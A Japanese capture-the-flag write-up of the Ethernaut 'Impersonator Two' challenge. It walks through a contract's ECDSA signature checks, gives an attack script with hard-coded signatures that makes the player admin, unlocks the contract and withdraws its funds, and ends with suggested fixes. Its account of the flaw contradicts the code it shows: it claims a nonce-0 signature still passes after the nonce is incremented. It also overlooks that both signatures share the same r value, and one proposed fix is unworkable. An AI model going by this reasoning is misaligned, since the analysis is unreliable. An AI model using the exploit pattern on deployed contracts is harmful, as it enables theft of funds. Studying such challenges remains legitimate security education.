Appearance
CTF課題解析:Impersonator Two - スマートコントラクト署名リプレイ攻撃実践
背景紹介
Impersonator Two は Ethernaut プラットフォーム上のスマートコントラクトセキュリティチャレンジで、セキュリティ研究者 jack によって設計されました。本課題はイーサリアムスマートコントラクトにおける署名検証メカニズム、特に署名リプレイ攻撃(Signature Replay Attack)に対する防御の脆弱性に焦点を当てています。ブロックチェーンセキュリティにおいて、署名検証は認証や権限管理の核となる仕組みですが、誤った実装は重大なリスクをもたらします。
この課題では、参加者はコントラクトからすべての資金を奪うことが目的です。コントラクトコードを分析し、署名検証ロジックの欠陥を見つける必要があります。本課題は ECDSA(楕円曲線デジタル署名アルゴリズム)、nonce メカニズム、メッセージハッシュ計算などの重要な技術概念を含み、スマートコントラクトのセキュリティ理解に最適な事例です。
コントラクト構造解析
コントラクト構造概要
ImpersonatorTwo コントラクトは OpenZeppelin ライブラリをベースに構築され、Ownable コントラクトを継承しています。主なコンポーネントは以下の通りです:
状態変数:
admin:管理者アドレスnonce:リプレイ攻撃防止用カウンターlocked:資金ロック状態のフラグ
主要関数:
setAdmin():新しい管理者を設定switchLock():資金ロック状態を切り替えwithdraw():資金を引き出すhash_message():メッセージハッシュを計算_verify():署名の有効性を検証
権限管理メカニズム
コントラクトは二重の権限管理を採用しています:
owner:Ownable から継承されたコントラクト所有者admin:コントラクト独自の管理者ロール
重要な操作(管理者の設定やロック切替)は所有者の署名が必要であり、資金引き出しは管理者権限かつコントラクトがロックされていない場合に可能です。
技術的脆弱性解析
署名検証フロー
コントラクトは ECDSA 署名検証を使用しています。核心部分のロジックは以下の通りです:
solidity
function _verify(bytes32 hash, bytes memory signature) internal view returns (bool) {
return ECDSA.recover(hash, signature) == owner();
}
この関数は ECDSA.recover() を使用してハッシュと署名から署名者アドレスを復元し、コントラクト所有者と比較します。
メッセージ構築メカニズム
署名メッセージの構築に次のような欠陥があります:
solidity
function setAdmin(bytes memory signature, address newAdmin) public {
string memory message = string(abi.encodePacked("admin", nonce.toString(), newAdmin));
require(_verify(hash_message(message), signature), InvalidSignature());
nonce++;
admin = newAdmin;
}
function switchLock(bytes memory signature) public {
string memory message = string(abi.encodePacked("lock", nonce.toString()));
require(_verify(hash_message(message), signature), InvalidSignature());
nonce++;
locked = !locked;
}
脆弱性の本質:署名リプレイ攻撃
コントラクトは nonce を用いてリプレイ攻撃を防止しようとしていますが、デプロイ時の nonce が 0 であることが問題です。これにより、攻撃者は事前に nonce=0 の有効署名を計算できます。
具体的には:
- コントラクト作成者(owner)はデプロイ後、
setAdmin()とswitchLock()を呼び出し初期化します - これらの呼び出しで nonce=0 の有効署名が生成されます
- 攻撃者はこれらの署名を傍受または予測し、デプロイ後すぐに使用できます
攻撃原理詳細
ECDSA署名構造
イーサリアムの ECDSA 署名は次の三部分で構成されます:
r:署名の第1部分(32バイト)s:署名の第2部分(32バイト)v:復元識別子(1バイト、27または28)
課題提供の回答例では以下の署名があります:
solidity
bytes memory setAdminSig = abi.encodePacked(
hex"e5648161e95dbf2bfc687b72b745269fa906031e2108118050aba59524a23c40", // r
hex"1427c398b494f2ebd5e1fb53474b7efe55a5b1852132eae509c695fa7b958597", // s
uint8(27) // v
);
bytes memory switchLockSig = abi.encodePacked(
hex"e5648161e95dbf2bfc687b72b745269fa906031e2108118050aba59524a23c40", // r
hex"2a04aa67c7760a7bec982fde4b387e1e62dc26ba69dd74444e68ffe28851375e", // s
uint8(28) // v
);
メッセージハッシュ計算
攻撃理解の鍵は元のメッセージです。setAdmin() の場合、nonce=0 かつ newAdmin が攻撃者アドレスの場合、メッセージは:
"admin0<newAdminアドレス>"
switchLock() の場合、nonce=0 でメッセージは:
"lock0"
これらのメッセージは hash_message() 関数で処理されます:
solidity
function hash_message(string memory message) public pure returns (bytes32) {
return ECDSA.toEthSignedMessageHash(abi.encodePacked(message));
}
ECDSA.toEthSignedMessageHash() は元のメッセージにイーサリアム特有のプレフィックス "\x19Ethereum Signed Message:\n" + メッセージ長 を追加し、Keccak256 ハッシュを計算します。
攻撃の完全フロー
ステップ1:有効署名の取得
攻撃者は nonce=0 における以下のメッセージ署名を取得する必要があります:
- 管理者設定メッセージ:
"admin0<攻撃者アドレス>" - ロック切替メッセージ:
"lock0"
実際の CTF 環境では、これらの署名は以下のいずれかで入手可能です:
- コントラクト作成者が署名を公開
- ブロックチェーンブラウザで初期トランザクションを確認
- 秘密鍵がわかっている場合の予測・計算
ステップ2:攻撃の実行
攻撃スクリプトの核心ロジック:
solidity
// 1. 最初の署名を使って自分を管理者に設定
ImpersonatorTwo(IMPERSONATORTWO_INST).setAdmin(setAdminSig, player);
// 2. 2つ目の署名でコントラクトをアンロック
ImpersonatorTwo(IMPERSONATORTWO_INST).switchLock(switchLockSig);
// 3. 管理者権限で資金を引き出す
ImpersonatorTwo(IMPERSONATORTWO_INST).withdraw();
ステップ3:攻撃後の状態変化の理解
最初の
setAdmin()呼び出し:- nonce=0 の署名を検証
- nonce が 1 に増加
- 攻撃者が admin に設定される
2つ目の
switchLock()呼び出し:- nonce=1 の署名?いいえ、ここが重要です
- 実際には nonce=0 の署名を使用
- なぜ検証が通るのか?
ここで課題の微妙なポイントが明らかになります:署名検証は署名者が owner であることだけを確認しており、現在の nonce 値をチェックしていません。署名が特定の nonce で有効であれば使用可能です。
防御策とベストプラクティス
1. 改良された nonce 管理
solidity
// より安全な実装:使用済み nonce をマッピングで記録
mapping(uint256 => bool) public usedNonces;
function setAdmin(bytes memory signature, address newAdmin, uint256 currentNonce) public {
require(!usedNonces[currentNonce], "Nonce already used");
string memory message = string(abi.encodePacked("admin", currentNonce.toString(), newAdmin));
require(_verify(hash_message(message), signature), InvalidSignature());
usedNonces[currentNonce] = true;
admin = newAdmin;
}
2. コントラクトアドレスを署名に含める
solidity
function setAdmin(bytes memory signature, address newAdmin) public {
// クロスコントラクトリプレイ防止のためコントラクトアドレスを含める
string memory message = string(abi.encodePacked(
"admin",
nonce.toString(),
newAdmin,
address(this)
));
require(_verify(hash_message(message), signature), InvalidSignature());
nonce++;
admin = newAdmin;
}
3. タイムスタンプやブロック高を使用
solidity
function setAdmin(bytes memory signature, address newAdmin) public {
// 時間制限を追加
string memory message = string(abi.encodePacked(
"admin",
nonce.toString(),
newAdmin,
block.timestamp.toString()
));
require(_verify(hash_message(message), signature), InvalidSignature());
// タイムスタンプが妥当範囲内であることを検証
// ...
nonce++;
admin = newAdmin;
}
技術的詳細の深掘り
ECDSA 復元メカニズム
ECDSA.recover() の動作:
- 署名から
r、s、vを抽出 - 楕円曲線暗号で署名とハッシュから公開鍵を復元
- 公開鍵からイーサリアムアドレスを導出
- 復元されたアドレスを返す
メッセージハッシュの安全性
ECDSA.toEthSignedMessageHash() がプレフィックスを追加する理由は、署名が他のコンテキストで悪用されるのを防ぐためです。これがないと、同じメッセージの署名が他のプロトコルで悪用される可能性があります。
実際の応用シナリオ
この種の脆弱性は以下の場面で発生し得ます:
- マルチシグウォレット:署名検証ロジックが不完全な場合
- エアドロップコントラクト:署名による受給権検証時
- 権限管理コントラクト:動的なロール割り当てシステム
- クロスチェーンブリッジ:クロスチェーンメッセージ署名検証
まとめ
Impersonator Two チャレンジは、スマートコントラクトにおける署名検証の典型的な脆弱性を示しています。この事例から学べること:
- nonce メカニズムは正しく実装すること:単なるカウンターではリプレイ攻撃を防げません
- 署名メッセージには十分なコンテキストを含める:コントラクトアドレス、操作種類、パラメータなど
- 署名検証は関連するすべてのパラメータをチェックする:署名者の身元だけでなく
- セキュリティ監査の重要性:コードレビューで見落とされる脆弱性が存在します
実際のスマートコントラクト開発では、OpenZeppelin の SignatureChecker など十分にテストされたライブラリを用いて署名検証を行い、複雑な暗号ロジックを自分で実装しないことが推奨されます。
この課題は単なる CTF ではなく、ブロックチェーン開発者にとって重要な警鐘です。安全性は設計のすべての段階に貫かれるべきであり、メッセージ構築から署名検証まで、あらゆる細部が攻撃の入口になり得ます。